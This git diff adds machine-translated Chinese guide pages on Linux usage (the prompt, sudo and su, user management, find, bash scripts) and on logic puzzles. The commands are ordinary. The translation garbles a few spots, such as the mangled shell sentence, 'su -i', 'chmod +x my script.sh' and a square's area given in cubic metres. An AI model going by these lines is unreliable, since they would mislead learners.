+*   截至2016年3月，Alexa报告称全球前100万个互联网域中有[96.55％](http://www.w3cook.com/os/summary/)由运行Linux的服务器提供支持。
+*   [纽约证券交易所（纽约证券交易所股票代码](https://en.wikipedia.org/wiki/New_York_Stock_Exchange) ： [New York Stock Exchange）](https://en.wikipedia.org/wiki/New_York_Stock_Exchange)是世界上最大的证券交易所，每天交易价值数十亿美元的证券，是在离开UNIX之后在Linux上运行的服务器上执行的。
+*   白宫使用[Red Hat Linux](https://en.wikipedia.org/wiki/Red_Hat)和[Apache为](https://en.wikipedia.org/wiki/Apache_HTTP_Server)他们的Web服务器提供支持。
+*   美国国防部（DoD）使用Linux来运行他们的核潜艇舰队。
+*   只需一个Raspberry PI，您就可以自动化家中的所有内容。
+*   美国海军使用Linux作为地面控制软件。
+*   Linux用于托管网站或应用程序。像'Dreamhost'这样的基于Linux的网络主机用于托管您的个人RSS阅读器和Tiny Tiny RSS，或个人Dropbox克隆与OwnCloud。
+*   Linux可以实现家庭自动化以及像Raspberry Pi这样的小型计算机。它可用于控制Siri的家，在墙上安装Google Calendar平板电脑，设置家庭监控系统，控制百叶窗和空调，流音乐，构建数码相框，建立日出闹钟以及更多。
+*   巴基斯坦正在许多公立学校和大学中使用Linux，并计划最终在其所有政府计算机系统上运行Linux
+*   索尼Playstation 3游戏机之前已经可以在单独的硬盘驱动器上运行Linux。科学实体将控制台联网在一起，形成强大的集群。 [美国空军研究实验室](https://en.wikipedia.org/wiki/PlayStation_3_cluster)通过集群1760 Playstation 3控制台组装了一台超级计算机。
+*   Linux在太空中。 Ubuntu用于国际空间站。 [阅读更多](https://news.softpedia.com/news/Ubuntu-Used-on-the-International-Space-Station-to-Control-Rover-Back-on-Earth-454101.shtml)
+
+[在这里](https://en.wikipedia.org/wiki/List_of_Linux_adopters)和[这里](http://www.comparebusinessproducts.com/fyi/50-places-linux-running-you-might-not-expect)可以看到来自世界各地的其他Linux采用
\ No newline at end of file
diff --git a/client/src/guide/chinese/linux/the-anatomy-of-the-linux-command-line/index.md b/client/src/guide/chinese/linux/the-anatomy-of-the-linux-command-line/index.md
new file mode 100644
index 0000000000..7375a00d70
--- /dev/null
+++ b/client/src/guide/chinese/linux/the-anatomy-of-the-linux-command-line/index.md
@@ -0,0 +1,35 @@
+---
+title: The Anatomy of the Linux Command Line
+localeTitle: Linux命令行的剖析
+---
+# Linux命令行的剖析
+
+在这个高度图形用户界面（GUI）技术世界的命令中，许多计算机用户发现输入文本命令（在命令提示符或终端上）以执行令人厌恶的基本功能的想法 - 最好留给程序员或开发人员（实际上是极客）。
+
+幸运的是，命令行界面（CLI）在Linux领域处于领先地位。虽然许多版本的linux都带有完善且直观的GUI，但为了获得最佳的Linux体验，人们仍然需要熟悉Linux CLI（终端或shell）才能以快速，干净的方式执行必要的计算机操作。
+
+如果您选择使用它，命令行在Linux用户的生活中仍扮演着非常重要的角色。
+
+在Linux中，命令在终端中给出（键入）。虽然终端应用程序可以在不同的Linux发行版（发行版）中有不同的名称 - 但大多数时候它简称为“终端”或一个密切相关的术语。
+
+要开始使用打开终端（对于Ubuntu只需按住Ctrl + Alt + T），你会受到以这种格式排列的一系列字符的欢迎;
+
+```linux
+user_name@machine_name:~$ 
+```
+
+您可以看到以闪烁的shell提示符结尾的命令行，表示shell已准备好接收来自用户的命令。
+
+*   **_“user\_name”_**代表登录名。
+    
+*   **_“machine\_name”_** （也称为域名）是分配给计算机（或服务器）的名称，通常在安装期间设置。有时它也可以用IP地址表示。
+    
+*   波形符号**_“〜”_**表示用户的当前目录是他的“home” `(/home/user_name)` 。
+    
+    *   请注意，Linux系统中的每个用户都有为其创建的HOME目录，并且此主目录始终与用户的登录名（或用户名）具有相同的名称。也就是说，如果登录名是“john”，那么他的主目录将是/ home / john。登录时，每个用户都被直接带到他/她的主目录。
+
+从命令终端，您可以开始向shell发出命令。可以在单个命令行上使用分号分隔多个命令。像这样的东西;
+
+`user_name@machine_name:~$ who; free; df`
+
+但大多数情况下，为确保输出干净，建议一次输入一个命令，以免聚集屏幕。
\ No newline at end of file
diff --git a/client/src/guide/chinese/linux/the-command-prompt/index.md b/client/src/guide/chinese/linux/the-command-prompt/index.md
new file mode 100644
index 0000000000..406a8ba7bf
--- /dev/null
+++ b/client/src/guide/chinese/linux/the-command-prompt/index.md
@@ -0,0 +1,274 @@
+---
+title: The Command Prompt
+localeTitle: 命令提示符
+---
+## 命令提示符
+
+作为最古老的用户界面（UI）之一， _命令提示符_ （aka _shell_ ， _terminal_ ， _console_ ， _tty_ ）已经以多种方式实现。
+
+这导致在现代对话中可以互换使用的几个词实际上具有略微不同的含义。
+
+* * *
+
+> 目录
+
+*   [一个非常非常短的历史](#a-very-very-short-history)
+*   [今天](#today)
+*   [贝壳](#the-shell)
+*   [BASH](#bash)
+*   [获得帮助](#getting-help)
+*   [提示](#the-prompt)
+*   [扎根](#getting-root)
+*   [登录](#login)
+*   [须藤](#sudo)
+*   [苏](#su)
+*   [相对和绝对路径](#relative-and-absolute-paths)
+*   [相对的](#relative)
+*   [绝对](#absolute)
+*   [命令选项](#command-options)
+*   [链接命令](#chaining-commands)
+*   [后台工作](#background-jobs)
+
+* * *
+
+### 一个非常非常短的历史
+
+在19世纪是[电报](https://en.wikipedia.org/wiki/Electrical_telegraph) 。这允许两个人长距离交换编码消息。后来的技术进步导致了[电传打字机](https://en.wikipedia.org/wiki/Teleprinter) （tty），需要接收消息的人被一种打印机取代。
+
+与此同时，像ENIAC这样的早期计算机也使用某种硬件进行编程，如交换机，拨号盘或跳线。随着计算机的发展，需要更好的输入/输出（IO），因此常用的电传打字机被转换为使用。
+
+因为tty是他们自己的大件家具，并因其与其他落地式家具（如控制台电视）的相似性而获得了名称**控制台** 。作为大型机的电子终端，这些设备也被称为**终端** 。
+
+TTY打印机最终被阴极射线管（CRT）屏幕取代，这些屏幕在LCD和等离子体可用之前也用于电视。有趣的是，现代Linux计算机仍然可以使用tty机器进行控制！
+
+> 点击下面的图片转到简短的Youtube视频。
+
+[![](https://i.ytimg.com/vi/-Ul-f3hPJQM/hqdefault.jpg)](https://youtu.be/-Ul-f3hPJQM)
+
+* * *
+
+### 今天
+
+今天，Linux和Unix用户仍然使用相同的术语，但略有不同。可以使用实时和虚拟终端，可以使用Alt + Ctrl + \[F1-F12\]访问虚拟终端。
+
+在图形用户环境（GUI）中，用户可以使用**终端仿真器**访问命令提示符， **终端仿真器**提供tty的功能，但在窗口内。 Linux用户可以使用许多终端仿真器，例如**xterm** ， **kterm**和**rxvt** 。
+
+可用的将取决于您使用的Linux发行版（简称发行版）及其默认值。检查您的包管理器以安装其他人。 Windows用户可以使用**PuTTY**或其他实用程序连接到Linux系统。
+
+### 贝壳
+
+_Shell_是解释命令的程序。
+
+它们中有许多，例如[**B** ourne **A** gain **SH** ell](https://www.gnu.org/software/bash/) （BASH）， [C Shell](https://docs.freebsd.org/44doc/usd/04.csh/paper.html) （csh / tcsh）和[Z SHell](http://zsh.sourceforge.net/) （zsh）。
+
+#### BASH
+
+Linux中最常见的默认shell是BASH，但每个用户可以临时或永久切换到任何其他可用的shell。 shell是完全可编写脚本的，这意味着编程概念可以与shell和系统实用程序结合使用，以创建更复杂的功能。
+
+在命令提示符下输入的命令可以内置到shell中，例如**cd** ， **exit**或**export** 。
+
+它们也可以来自外部程序，对于大多数Linux发行版而言，它们都是由[Gnu工具](https://www.gnu.org/software/coreutils/coreutils.html)提供的。
+
+请参阅下面的最常见命令。
+
+|命令|用法| | -------- | ----------------------------------------- | | `cd` |更改当前目录| | `ls` |列出当前目录中的文件| | `mv` |移动文件和目录| | `man` |打开命令文档| | `mkdir` |制作目录| | `rmdir` |删除导演| | `touch` |创建一个空文件| | `rm` |删除文件| | `ln` |创建文件和目录的链接| | `chown` |更改文件和目录的所有权| | `chmod` |更改权限| | `find` |找到文件| | `cat` |将文件写入标准输出| | `less`允许滚动标准输入| | `grep` |在纯文本中搜索匹配项| | `diff` |显示文件之间的差异| | `passwd` |更改密码|
+
+#### 获得帮助
+
+可以在一个或多个位置为命令提供即时帮助。
+
+在命令后添加`--help` 。
+
+这将打印命令的使用信息。
+
+它的输出类似于`man`命令，但是在你想要手册的命令之前使用`man` 。
+
+`info`命令是第三个帮助选项，并且像`man`一样使用。
+
+```bash
+ls --help 
+ 
+ man ls 
+ 
+ info ls 
+```
+
+### 提示
+
+提示，这是文本的壳光标左侧的位，可以改变，以显示你当前的状态，如哪个目录，你目前在哪个用户您的登录身份，您的计算机的名字， _什么你拥有的特权_ 。
+
+最后一点很重要。通常是提示中的最后一个字符，您将看到`$` ，表示正常的用户权限。
+
+如果您具有属于系统管理员的**root**权限，则通常会将`#`视为最后一个字符。浏览论坛并获得在线帮助时，您必须键入的命令通常会显示此字符。
+
+**你不必输入它！**
+
+例如：
+
+```bash
+$ ls -l 
+```
+
+意味着您在正常提示符下键入`ls -l` 。
+
+```bash
+# apt-get install node 
+```
+
+表示您使用管理员权限键入`apt-get install node` 。如何提升权限取决于您的Linux发行版。
+
+### 扎根
+
+#### 登录
+
+以root身份登录是一个_非常糟糕的主意_ 。这就是为什么某些版本的Linux会禁用用户以这种方式记录的能力。鼓励那些用户在他们自己的用户帐户中使用下一个方法`sudo` 。
+
+如果您必须使用根控制台，请注意其功能。您不会被警告或被要求确认大多数任务，即使简单的拼写错误意味着删除重要的事情。
+
+#### 须藤
+
+在命令之前添加“sudo”以切换到**S** uper **U** ser和**DO** （SUDO）。这是Ubuntu及其衍生产品配置为允许管理员访问的方式，并且是基于每个命令给出的。
+
+您没有获得root shell，并且您键入的下一个命令将没有提升权限，除非您再次使用`sudo` 。
+
+```bash
+sudo apt-get update 
+```
+
+除了某些发行版上的第一个创建用户之外，必须将用户添加到特殊列表（在`/etc/sudoers` ）才能使用sudo。
+
+这是通过`visudo`命令完成的。
+
+您永远不应该使用常规文本编辑器编辑`sudoers`文件！
+
+`visudo`将确保您不会将自己锁定在自己的系统之外。
+
+#### 苏
+
+`su` ，与`sudo`一样，允许您更改为其他用户，但默认情况下，您将收到另一个提示，因为您切换到的用户。
+
+在它本身， `su`会切换到根提示符，但是使用当前用户的环境变量，例如主文件夹的`$HOME`和系统路径的`$PATH` 。
+
+这可能会导致意外结果，如果要使用`su`切换到其他用户，请在命令后添加连字符：
+
+```bash
+su - 
+```
+
+这将完全切换到根提示符。
+
+可以在命令中添加用户名以切换到该用户，但需要该用户的密码。
+
+`sudo`可以与`su`结合使用，以允许管理员切换到任何用户。
+
+```bash
+myUser@linux $ su - otherUsername 
+ Password: (typed my password) 
+ su: Authentication failure 
+ 
+ myUser@linux $ sudo su - otherUsername 
+ Password: (typed my password) 
+ otherUsername@Linux $ 
+```
+
+### 相对和绝对路径
+
+在文件上使用命令（例如复制或删除）时，可以使用以下两种方法之一来引用该文件。
+
+#### 相对的
+
+与当前目录相关的文件位置。
+
+shell中有两个相对路径运算符`.`和`..`
+
+第一， `.`表示当前目录，因此如果file.txt在当前目录中，则`cat file.txt`和`cat ./file.txt`是相同的。
+
+另一个是`..` ，表示树中的一个目录。
+
+因此，如果您在`/home/user/projects/project-a`并发出命令`cd ..`您将更改为`/home/user/projects` 。
+
+如果项目目录中有名为`project-a` ， `project-b` ， `project-c` `project-a`子目录，并且您在`project-a`目录中，则可以使用`cd ../project-b`切换到`project-b` 。
+
+shell中还有一个名为`$HOME`的`environment variable` ，它指向您的主目录。
+
+您可以使用波形符`~`在BASH中使用它。
+
+当你按Enter键时，shell会替换你的代字号，例如，你可以使用`cd ~`更改为你自己的主文件夹。
+
+#### 绝对
+
+文件位置是文件系统根目录的完整路径，并且始终具有前导斜杠。
+
+例如， `cd /home/quincy/Desktop`将转到Quincy的桌面目录，无论当前路径或登录用户如何。
+
+### 命令选项
+
+大多数shell命令遵循相同的语法，即**命令选项文件** 。
+
+```bash
+ls -l *.txt 
+```
+
+哪里
+
+*   `ls`给出了一个文件和目录列表，
+*   `-l`将`ls`的输出更改为长列表，
+*   和`*.txt`将列表限制为以`.txt`结尾的文件。
+
+每个命令都有不同的选项，并且可以一起列出多个选项，如下一节中的tar示例`tar -cvf` 。
+
+各个命令可以在一个链中连接在一起，其中一个命令的输出成为另一个命令的输入。
+
+这是通过`|`完成的字符，通常称为**管道**或**条形** 。这不是大写字母i或小写字母L ，也不是数字1 。在美国键盘上，它位于Enter附近的其中一个键上。
+
+在以下示例中，我将使用2个命令。
+
+第一个， `cat` ，是连接的缩写，可以用来将一个文件的内容放在另一个文件的末尾（连接！）。当仅将其与一个文件一起使用时，它会将内容写入终端。
+
+第二个命令`grep`是一个程序，它输出基于某些输入找到的文本和搜索模式。搜索模式可以是简单文本，也可以是正则表达式（正则表达式），用于更高级的搜索。
+
+```bash
+cat index.html | grep img 
+```
+
+有很多方法可以做到这一点，但这将输出index.html中包含`img`到终端的每一行。此示例仅使用一个`|` ，但你不仅限于此。
+
+### 链接命令
+
+虽然单个＆符号运算符`&`是BASH中的作业控制运算符（下一节），但双＆符号具有另一个含义。它是逻辑**AND** ，并且您在两个命令之间使用它，以便第二个命令仅在第一个命令成功退出时运行（没有错误）。
+
+以下示例是有多少Debian和Ubuntu用户更新其软件列表，然后运行系统升级。
+
+```bash
+sudo apt-get update && sudo apt-get dist-upgrade 
+```
+
+另一种选择是双管`||` ，这意味着逻辑**OR** 。只有在第一次退出并出现错误时，才能使用它。
+
+以下将从项目目录中的文件在用户桌面上创建名为`project.tar`的存档，如果失败，则回显消息。
+
+```bash
+tar -cvf /home/user/Desktop/project.tar /home/user/project/* || echo "archive failed" 
+```
+
+### 后台工作
+
+在终端中运行命令时，终端忙，直到命令完成，并且不能运行其他命令。 Linux中有一个作业控制系统，允许您暂停运行命令，在后台恢复挂起的命令，并在前台恢复挂起的命令。
+
+这对于长时间运行的脚本很有用，或者当您需要将某些内容推送到后台时，这样终端就可以用于其他事情。
+
+o暂停在终端中运行的程序使用组合键Ctrl + Z.
+
+您将返回到正常提示，命令似乎已退出。它没有，但只是被暂停。通过使用`jobs`命令列出所有当前跟踪的作业，它仍然可以在作业列表中看到。我做`man ls`拿到手册页，然后暂停它。
+
+当我输入`jobs`我得到以下输出：
+
+```bash
+$ jobs 
+ 
+ [1]  + suspended  man ls 
+```
+
+从这里开始，我可以通过输入`bg %1`让它在后台恢复，其中`1`是方括号中找到的作业号。
+
+我可以通过输入`fg %1`将其恢复到前台。
\ No newline at end of file
diff --git a/client/src/guide/chinese/linux/user-management-on-linux/index.md b/client/src/guide/chinese/linux/user-management-on-linux/index.md
new file mode 100644
index 0000000000..29698fe7c7
--- /dev/null
+++ b/client/src/guide/chinese/linux/user-management-on-linux/index.md
@@ -0,0 +1,81 @@
+---
+title: User management on Linux
+localeTitle: Linux上的用户管理
+---
+#### 注意：要以`sudo`身份运行命令，您必须具有sudo用户帐户（管理员）
+
+## 如何创建用户
+
+#### 使用`adduser`或`useradd`命令将新用户添加到系统中。
+```
+$ sudo adduser username 
+```
+
+请务必将`username`替换为您要创建的用户。
+
+#### 使用`passwd`命令更新新用户的密码。
+```
+$ sudo passwd username 
+```
+
+强烈建议使用强密码！
+
+## 如何创建Sudo用户
+
+要创建`sudo`用户，您需要首先使用上面的命令创建常规用户，然后使用`usermod`命令将此用户添加到`sudoers`组。
+
+##### 在Debian系统（Ubuntu / LinuxMint / ElementryOS）上， `sudo`组的成员具有sudo权限。
+```
+$ sudo usermod -aG sudo username 
+```
+
+##### 在基于RHEL的syatems（Fedora / CentOs）上， `wheel`组的成员有sudo privilages。
+```
+$ sudo usermod -aG wheel username 
+```
+
+## 如何删除用户
+
+##### 对于Debian（Ubuntu）
+```
+$ sudo deluser username 
+```
+
+##### 对于RHEL（Fedora / CentOS）
+```
+$ sudo userdel username 
+```
+
+##### 创建组并添加用户
+```
+$ sudo groupadd editorial 
+ $ sudo usermod -a -G editorial username 
+```
+
+#### 注意：以`root`命令可以在没有sudo的情况下执行以上命令
+
+切换到root在Ubuntu上运行`su -i`随后登录的用户的密码命令提示符更改为`#`的insted的`$`
+
+##### 在Debian系统（Ubuntu / LinuxMint / ElementryOS）上， `sudo`组的成员具有sudo权限。
+```
+$ sudo usermod -aG sudo username 
+```
+
+## 如何创建组
+
+要创建组，请使用命令`groupadd`
+```
+$ sudo groupadd groupname 
+```
+
+## 如何删除组
+
+要删除组，请使用命令'groupdel'
+
+`` ` $ sudo groupdel grouname``
+
+#### 参考
+
+[Debian的（Ubuntu的）](https://www.digitalocean.com/community/tutorials/how-to-add-and-delete-users-on-ubuntu-16-04)
+
+[RHEL（CentOS / Fedora）](https://www.digitalocean.com/community/tutorials/how-to-add-and-delete-users-on-a-centos-7-server)
\ No newline at end of file
diff --git a/client/src/guide/chinese/linux/using-the-find-command/index.md b/client/src/guide/chinese/linux/using-the-find-command/index.md
new file mode 100644
index 0000000000..5a61a9ff38
--- /dev/null
+++ b/client/src/guide/chinese/linux/using-the-find-command/index.md
@@ -0,0 +1,33 @@
+---
+title: Using the Find Command
+localeTitle: 使用查找命令
+---
+# 使用查找命令
+
+Linux find命令是一个功能强大的工具，可帮助您找到服务器上的文件和目录。通过一些练习，您可以根据名称，类型，大小或日期（创建或上次更新时）轻松跟踪事物。
+
+将find视为您渴望的帮手：
+
+你：“我在服务器上找东西。”
+
+发现：“我可以帮忙！你能告诉我什么吗？”
+
+您：“这是一个大于2GB的文件，位于我的主目录下，在过去48小时内更新。”
+
+发现：“多田！”
+
+查找是一个程序，所以你必须告诉它`find ~ -type f -size +2G` 。
+
+以下是使用find的一些示例命令：
+
+*   `find ~ -type d # Show me all the subdirectories inside my home directory`
+*   `find / -type f -name 'todo.txt' # Show me files named 'todo.txt' anywhere under the root directory (ie anywhere)`
+
+第一个参数总是命名我们将要查看的目录。在上面的示例中，这些是〜（当前用户的主目录）和/（文件系统的根目录）。
+
+其他参数是可选的，可以以您认为有用的任何方式组合：
+
+*   type参数允许您仅限制搜索文件（f），仅限目录（d）或符号链接（l）。如果省略type参数，则将搜索所有这些类型。
+*   name参数允许您通过名称指定要查找的内容，使用文字字符串（'filename.txt'）或使用通配符（'file？。\*'）。
+
+`man find`会显示更多参数，值得回顾。查找可以按名称，用户，创建日期，大小等查找文件。下次你在找东西时，找到它！
\ No newline at end of file
diff --git a/client/src/guide/chinese/linux/writing-a-bash-script/index.md b/client/src/guide/chinese/linux/writing-a-bash-script/index.md
new file mode 100644
index 0000000000..53c08972e9
--- /dev/null
+++ b/client/src/guide/chinese/linux/writing-a-bash-script/index.md
@@ -0,0 +1,90 @@
+---
+title: Writing a Bash Script
+localeTitle: 编写Bash脚本
+---
+# 编写Bash脚本
+
+通过在Linux命令行上键入命令，您可以向服务器提供指令以完成一些简单的任务。如地狱 脚本是一种将一系列指令放在一起以使其更容易的方法。 Shell脚本变得更加强大 你可以添加`if`和`while`类的逻辑来自动控制它们在环境变化时的行为方式。
+
+## 什么是Bash？
+
+Bash是命令行解释器的名称，该程序可以理解您在命令中输入的Linux命令 提示，或在你的脚本中。
+
+## 脚本中有什么？
+
+脚本只是一个文件。一个基本脚本由一个介绍性的行组成，它告诉服务器它的构成，以及一个 或更多要执行的指令。这是一个例子：
+```
+#!/bin/bash 
+ echo "Hi. I'm your new favorite bash script." 
+```
+
+第一行有特殊含义，我们将在下面讨论。第二行只是一个Linux命令，你可以输入一个 在命令行上。
+
+## 什么是评论？
+
+注释是您添加到脚本中的文本，您希望bash忽略这些文本。评论以井号开头，对于有用 注释您的代码，以便您和其他用户可以理解它。要添加注释，请键入`#`字符，后跟任何文本 这对你很有帮助。 Bash会忽略`#`及其后的所有内容。
+
+**注意：**脚本的第一行不是注释。这条线总是第一个，始终以`#!`开头`#!`而且很特别 意思是打击。
+
+这是以前的剧本，评论说：
+```
+#!/bin/bash # Designates the path to the bash program. Must start with '#!' (but isn't a comment). 
+ echo "Hi. I'm your new favorite bash script." # 'echo' is a program that sends a string to the screen. 
+```
+
+## 执行脚本
+
+您可以打开文本编辑器，粘贴该示例代码并保存文件，并且您有一个脚本。脚本通常是 命名以“.sh”结尾，因此您可以将该代码保存为myscript.sh。
+
+在我们做两件事之前，脚本不会执行：
+
+**首先，让它可执行。** （我们只需要这样做一次。） Linux完全依赖于文件权限。他们确定了很多关于服务器行为的方法。有很多要了解的 权限，但是现在我们只需要知道这一点：在给自己执行权限之前，不能运行脚本。至 这样做，输入：
+
+`chmod +x my script.sh`
+
+**第二，运行它。**我们从命令行执行脚本就像任何其他命令一样，如`ls`或`date` 。剧本 name是命令，当你调用它时，你需要在它前面加一个'./'：
+
+`./myscript.sh # Outputs "Hi. I'm your new favorite bash script." (This part is a comment!)`
+
+## 条件语句
+
+有时您希望脚本只有在其他情况属实的情况下才能执行某些操作。例如，仅在值为的情况下打印消息 低于一定限度。以下是使用`if`执行此操作的示例：
+```
+#!/bin/bash 
+ 
+ count=1 # Create a variable named count and set it to 1 
+ 
+ if [[ $count -lt 11 ]]; then # This is an if block (or conditional). Test to see if $count is 10 or less. If it is, execute the instructions inside the block. 
+    echo "$count is 10 or less" # This will print, because count = 1. 
+ fi # Every if ends with fi 
+```
+
+类似地，我们可以安排脚本，使其仅在某些事情成立时才执行指令。我们将更改代码 count变量的值更改：
+```
+#!/bin/bash 
+ 
+ count=1 # Create a variable named count and set it to 1 
+ 
+ while [[ $count -lt 11 ]]; do # This is an if block (or conditional). Test to see if $count is 10 or less. If it is, execute the instructions inside the block. 
+    echo "$count is 10 or less" # This will print as long as count <= 10. 
+    count=$((count+1)) # Increment count 
+ done # Every while ends with done 
+```
+
+这个版本的myscript.sh的输出将如下所示：
+```
+"1 is 10 or less" 
+ "2 is 10 or less" 
+ "3 is 10 or less" 
+ "4 is 10 or less" 
+ "5 is 10 or less" 
+ "6 is 10 or less" 
+ "7 is 10 or less" 
+ "8 is 10 or less" 
+ "9 is 10 or less" 
+ "10 is 10 or less" 
+```
+
+## 真实世界的脚本
+
+这些例子并不十分有用，但原则是。使用`while` ， `if`和任何可能以其他方式键入的命令 手动，您可以创建执行有价值工作的脚本。
\ No newline at end of file
diff --git a/client/src/guide/chinese/logic/algebra-of-logic/index.md b/client/src/guide/chinese/logic/algebra-of-logic/index.md
new file mode 100644
index 0000000000..8d4a466d42
--- /dev/null
+++ b/client/src/guide/chinese/logic/algebra-of-logic/index.md
@@ -0,0 +1,22 @@
+---
+title: Algebra of Logic
+localeTitle: 逻辑代数
+---
+## 逻辑代数
+
+_逻辑_或_布尔代数的代数_是数学的一个分支。它处理变量及其真值。变量有两种可能的状态 - `true`或`false` 。
+
+它首先由George Boole在他的着作“逻辑的数学分析”（The Mathematical Analysis of Logic，1847）中介绍。
+
+布尔代数是数字电子学发展的基础。它负责使所有现代计算成为可能。
+
+布尔代数中的三个基本操作是`AND` ， `OR`和`NOT` 。考虑两个布尔变量`x`和`y` ：
+
+*   `x AND y` ，当且仅当两个是真正的`x`和`y`属实
+*   当且仅当`x` ， `y`中的任何一个为真时， `x OR y`才为真。如果`x` ， `y`都为真，则`x OR y`仍然为真
+*   当且仅当`x`为假时， `NOT x`为真，反之亦然
+
+### 更多信息：
+
+*   逻辑微积分： [乔治布尔](http://www.maths.tcd.ie/pub/HistMath/People/Boole/CalcLogic/CalcLogic.html)
+*   布尔代数文章： [维基百科](https://en.wikipedia.org/wiki/Boolean_algebra)
\ No newline at end of file
diff --git a/client/src/guide/chinese/logic/conditional-and-biconditional-statements/index.md b/client/src/guide/chinese/logic/conditional-and-biconditional-statements/index.md
new file mode 100644
index 0000000000..59f42e8f3b
--- /dev/null
+++ b/client/src/guide/chinese/logic/conditional-and-biconditional-statements/index.md
@@ -0,0 +1,9 @@
+---
+title: Conditional and Biconditional Statements
+localeTitle: 有条件和双条件陈述
+---
+## 有条件和双条件陈述
+
+**条件声明：** “如果”。如果有一件事是真的，那么别的东西是真的或者可能发生。 _例如：_如果现在下雨，那么地面会变湿。 _然而_ ，相反（“如果地面潮湿，那么正在下雨”）并不一定如此。
+
+**_Bi_** **条件语句：** “当且仅当”。如果有一件事是真的，那么其他事情就是真的;如果那个别的东西是真的，那么有一点是真的。考虑它的另一种方式是两件事既是真的，也都是假的（不是一个是真的，另一个是假的）。 _示例：_当且仅当其边长均为4米时，正方形的面积为16立方米。
\ No newline at end of file
diff --git a/client/src/guide/chinese/logic/dining-philosophers-problem/index.md b/client/src/guide/chinese/logic/dining-philosophers-problem/index.md
new file mode 100644
index 0000000000..9f751ad95d
--- /dev/null
+++ b/client/src/guide/chinese/logic/dining-philosophers-problem/index.md
@@ -0,0 +1,48 @@
+---
+title: Dining Philosophers Problem
+localeTitle: 用餐哲学家的问题
+---
+## 用餐哲学家的问题
+
+在计算机科学中，餐饮哲学家问题是在并发算法设计中经常使用的示例问题，以说明同步问题和解决它们的技术。它最初由Edsger Dijkstra于1965年制定，作为学生考试练习，以计算机竞争访问磁带机外围设备的形式呈现。不久之后，托尼·霍尔（Tony Hoare）提出了目前的问题。
+
+简单来说，餐饮哲学家问题就是说明同步访问共享资源如何导致死锁情况的产生。
+
+#### 同步和死锁
+
+**同步**用于控制对共享资源的并发访问。在多个独立参与者可能竞争使用一种资源的任何情况下，这都是必要的。由于只有一个资源可用，我们使用同步来防止混乱和混乱。
+
+**死锁**是一种无法进行的系统状态。当强制执行同步时，可能会发生这种情况，并且许多进程最终等待某个其他进程持有的共享资源。在这种情况下，进程只是等待并且不再执行。
+
+#### 问题陈述
+
+五位沉默的哲学家坐在圆桌旁，拿着一碗意大利面。叉子放置在每对相邻的哲学家之间。
+
+每个哲学家都必须交替思考和吃饭。然而，一个哲学家只有吃左右叉时才能吃意大利面。每个分支只能由一位哲学家持有，因此只有当另一位哲学家没有使用它时，哲学家才能使用它。在一位个体哲学家吃完之后，他们需要放下两把叉子，以便叉子可供他人使用。一个哲学家可以在他们的右边或左边的那个上叉，因为它们变得可用，但是在获得两个叉子之前不能开始进食。 （ **同步** ）
+
+进食不受意大利面条或胃部空间的限制;假设无限供应和无限需求。
+
+问题是如何设计一个行为学科（并发算法），这样任何哲学家都不会饿死;也就是说，每个人都可以永远地继续在吃和思考之间交替，假设没有哲学家可以知道其他人何时可能想吃或想。 （ **死锁避免** ）
+
+在前期，似乎不容易出现死锁。要看到对这个问题的正确解决方案并不明显，请考虑一个建议，其中每个哲学家的行为如下：
+
+1.  想到左叉可用;什么时候，拿起来;
+2.  想一想，直到右叉可用;什么时候，拿起来;
+3.  当两个叉子都被抓住时，吃了一段固定的时间;
+4.  然后，把右叉放下;
+5.  然后，把左叉放下;
+6.  从头开始重复。
+
+此尝试的解决方案失败，因为它允许系统达到死锁状态，在该状态下无法进行。这是一个状态，每个哲学家都拿起了左边的叉子，正在等待右边的叉子变得可用，反之亦然。通过给定的指令，可以达到这种状态，当它到达时，哲学家将永远等待彼此释放分叉。 （ **僵局和饥饿** ）
+
+有许多解决方案可以防止死锁。如果我们仔细观察，上面算法中的一个问题是所有哲学家都有相同的机会（具有相同的优先权）获得一个分叉。这可以防止任何人获得两把叉子，整个系统都会停止运转。
+
+解决方案包括： -
+
+1.  优先级 - 一些哲学家被赋予更高的优先级，因此获得两个叉子的机会增加。
+2.  抢占（礼貌） - 哲学家放弃获得的叉子而不吃东西，以防其他叉子不可用。
+3.  仲裁 - 调解员分配叉子，确保向一个人提供两把叉子，ibnstaed为一对多。
+
+#### 更多信息：
+
+https://www.wikiwand.com/en/Dining _哲学家的_问题
\ No newline at end of file
diff --git a/client/src/guide/chinese/logic/index.md b/client/src/guide/chinese/logic/index.md
new file mode 100644
index 0000000000..9f3bfcb40d
--- /dev/null
+++ b/client/src/guide/chinese/logic/index.md
@@ -0,0 +1,11 @@
+---
+title: Logic
+localeTitle: 逻辑
+---
+## 逻辑
+
+计算机科学中的逻辑涵盖了逻辑领域与计算机科学领域之间的重叠。该主题基本上可以分为三个主要方面：
+
+理论基础和分析 利用计算机技术帮助逻辑学家 使用逻辑中的概念用于计算机应用程序
+
+在本节中，我们将提供对数学和编程非常重要的各种逻辑谜题的指南。
\ No newline at end of file
diff --git a/client/src/guide/chinese/logic/knights-and-knaves/index.md b/client/src/guide/chinese/logic/knights-and-knaves/index.md
new file mode 100644
index 0000000000..100a9c9f21
--- /dev/null
+++ b/client/src/guide/chinese/logic/knights-and-knaves/index.md
@@ -0,0 +1,26 @@
+---
+title: Knights and Knaves Puzzles
+localeTitle: 骑士和Knaves拼图
+---
+## 骑士和骑士
+
+一种逻辑谜题，这些谜题与两类人有关。骑士：只讲真话的人和Knaves：只说谎的人。 Raymond Smullyan在他的书“这本书的名字是什么？”中收集了许多这样的谜题。 谜题的工作方式是一个人访问他遇到居民或群体的岛屿。访客必须运用他的逻辑技巧来确定谁是骑士，谁是谁。
+
+## 示例拼图
+
+### 红色和蓝色
+
+两个人，红色和蓝色，站在你面前。 Red说，“我们都是傻瓜。”他们真的是什么？
+
+**解决方案：**红色不能成为骑士，因为那时他会撒谎说他是个笨蛋。因此他是个笨蛋，他的陈述是谎言，这意味着蓝必须是一个骑士。
+
+### 走哪条路？
+
+你来到一个公路的岔路口，需要了解哪条路通往你的目的地。两个人站在那里。你知道一个是骑士，一个是kn ,,但你不知道哪个是哪个。你能问一个岛民学习正确的道路是什么单一的是或否的问题？
+
+**解决方案：**指向路径并询问一个路径，“另一个人会告诉我这是正确的路径吗？”如果答案为否，那么这是正确的路径;如果是，那就是错误的路径。
+
+#### 更多信息：
+
+*   [这本书的名字是什么？来自亚马逊](https://www.amazon.com/gp/product/0486481980/ref=as_li_qf_sp_asin_il_tl?ie=UTF8&camp=1789&creative=9325&creativeASIN=0486481980&linkCode=as2&tag=brenconl05-20&linkId=UU6GFKPWEKZFK2XG)
+*   [维基百科文章](https://en.wikipedia.org/wiki/Knights_and_Knaves)
\ No newline at end of file
